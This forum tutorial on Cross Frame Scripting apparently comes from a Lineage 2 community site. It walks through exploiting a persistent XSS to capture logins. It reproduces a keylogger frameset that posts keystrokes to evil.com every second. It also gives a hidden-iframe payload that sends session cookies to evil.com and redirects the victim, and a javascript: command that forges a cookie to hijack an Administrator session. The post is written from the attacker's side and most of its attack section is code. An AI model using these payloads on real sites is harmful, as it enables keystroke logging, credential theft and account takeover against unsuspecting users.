Jump to content

Recommended Posts

Posted

 

 

 

Definition

 

XFS or CFS abbreviated from Cross Frame Scripting is a form of web-based attack that relies on a browser exploit. The attack is based on iFrames. Let's say we have an iFrame and another one inside of it. The parent iFrame inherits the actions from the child iFrame. XFS includes in most cases and is executed in Javascript. It is therefore related to Cross Site Scripting and is client-side attack since the code is in Javascript.

 

It is understood false by many people that mistaken it with XSS from SQLi. I don't know where this concept came from but it is completely wrong and has nothing to do with XFS at all.

 

How XFS works

 

Suppose we have a simple authentication system (web-based login form).

 

nJymQMB.jpg

 

What we want to do is embed a frame in the page. Therefore, upon typing the credentials, the user actually delivers them directly to the hacker. Using an IE exploit we can sniff keystrokes that are then automatically sent to our remote server with AJAX requests. In the following script we have a simple keystroke recorder that uses an iFrame. We define the array where the keystrokes will be stored. Then capture them with keystrokes.push() and return them back to the desired location (which in our case is our server where we can actually view them).

 

Code Source: OWASP

 


<!-- http://evil.com/example.com-login.html -->
<head>
<script>
// array of user keystrokes
var keystrokes = [];
// event listener which captures user keystrokes
document.onkeypress = function() {
    keystrokes.push(window.event.keyCode);
}
// function which reports keytrokes back to evil.com every second
setInterval(function() {
    if (keystrokes.length) {
  var xhr = newXHR();
  xhr.open("POST", "http://evil.com/k");
  xhr.send(keystrokes.join(" "));
    }
    keystrokes = [];
}, 1000);
// function which creates an ajax request object
function newXHR() {
    if (window.XMLHttpRequest)
  return new XMLHttpRequest();
    return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
</script>
</head>
<!-- re-focusing to this frameset tricks browser into leaking events -->
<frameset onload="this.focus()" onblur="this.focus()">
<!-- frame which embeds example.com login page -->
<frame src="http://example.com/login.html">
</frameset>

 

That's generally the basic concept behind this code and it's method of exploiting iFrames. Cross Frame Scripting resembles phishing is some way. The difference between them is that XFS acts exactly the way the page is supposed to. Whereas, with a phishing page you can get the information the same way but you arise suspicion in the target and he might decide to alter his password or other credentials.

 

Exploiting XFS Vulnerability

 

Now in order to exploit a cross frame scripting vulnerability we first need to make sure we can execute a Javascript vector (XSS) and plus that it must be persistent so as the crafted frame to stay on the page. Most usually website developers neglect filtering Account Panels and using the settings input fields, one could place a persistent XSS.

 

88FdU7f.jpg

 

Assuming we have managed to find a persistent XSS, we can continue with the XFS frame. We need whenever a user visits our profile to display him a page for logging in the website again under the context that his session has expired or something of that kind (that has more to do with Social Engineering in order to trick him that he has been logged off). Let's say we've got the following script to inject in the place of our XSS.

 


<iframe style="position:absolute;top:-9999px" src="http://example.com/↵
    flawed-page.html?q=<script>document.write('<img src="http://evil.com/↵
    ?c=' encodeURIComponent(document.cookie) '">') && window.location="http://example.com/login.php";</script>">
</iframe>

 

This will grab the cookie upon logging in and will redirect the user to the actual login page. No suspicion will be arisen and the user will not notice the embedded frame inside the page.

 

All you need to do now is get the session and authenticate with it.

 

2HjJZTX.jpg

 

Enter the following in the URL address, replacing the website domain.

 


javascript:void(document.cookie="strUsername=Administrator")

 

And we do the same thing with the password value.

 

Note: The proof of concept and all images in this tutorial have been tested in local environment on my own website.

 

Hope some of you find the tutorial useful. Comment, criticize, rate and thanks for reading!

 

 

 

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now


  • Posts

    • Looking a datapack developer for 'Essence' - needs to be good with Mobius structure,  Project is using old fork (I think base from crusader). Write Discord to PM.
    • We are not back on 2005, life in our days is harder than before, in complection with other things yes, L2 has not the same look.
    • ⚔️ L2 Nexus — Full-Stack Development for Lineage 2 Servers   One team for everything. Website, admin panel, launcher, server development, hosting, protection — built together, working together.   ━━━━━━━━━━━━━━━━━━━━━   SERVICES:   🌐 Server Website Registration, player cabinet, donate shop, statistics, voting, news. Integrated with your server — live data from game DB.   🛡️ Admin Panel (CMS) — 60 Modules Web panel for GM team: bans, kicks, item management, payments, analytics. Battle Pass, marketplace, anti-bot, churn prediction, Discord/Telegram bots.   🚀 Custom Launcher Electron launcher with delta patcher, CDN delivery, news feed, integrity check, multi-server support. Fully branded.   ⚔️ Java Development Custom modules for L2J / aCis / Lucera / L2Off (PTS). Events, NPCs, instances, balance, quests, skills — any complexity.   🛡️ Hosting & DDoS Protection Server setup, OVH Game DDoS, Cloudflare, monitoring 24/7.   ━━━━━━━━━━━━━━━━━━━━━   PRICING (Website + CMS):   Core — €1,000 (one-time) Website + player cabinet + tickets + live status. 30 days support.   Business — €2,500 (one-time) ⭐ + Donate shop, payment systems, admin panel, RBAC, analytics, bots. Custom design. 90 days priority support.   Enterprise — €5,000+ (custom) + Battle Pass, marketplace, anti-bot, churn, economy, backups, Wiki, API. Managed hosting, SLA 99.9%. 12 months support.   ━━━━━━━━━━━━━━━━━━━━━   JAVA DEVELOPMENT:   • PvP Events .............. from €200 • Custom NPCs ............. from €80 • Donate & Economy ........ from €150 • Instance Zones .......... from €300 • Balance & Skills ........ from €100 • Quests .................. from €250 • Olympiad & Sieges ....... from €200 • PTS Extenders ........... from €150 • Bug Fixes ............... from €50/hr • Custom Systems .......... from €500   ━━━━━━━━━━━━━━━━━━━━━   Platforms: L2J · aCis · Lucera · L2Off/PTS Chronicles: Interlude · High Five · Classic · Essence 📍 Live CMS demo available — message us on Telegram   Telegram: @l2nexus Website: https://l2-nexus.com
  • Topics

×
×
  • Create New...

Important Information

This community uses essential cookies to function properly. Non-essential cookies and third-party services are used only with your consent. Read our Privacy Policy and We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue..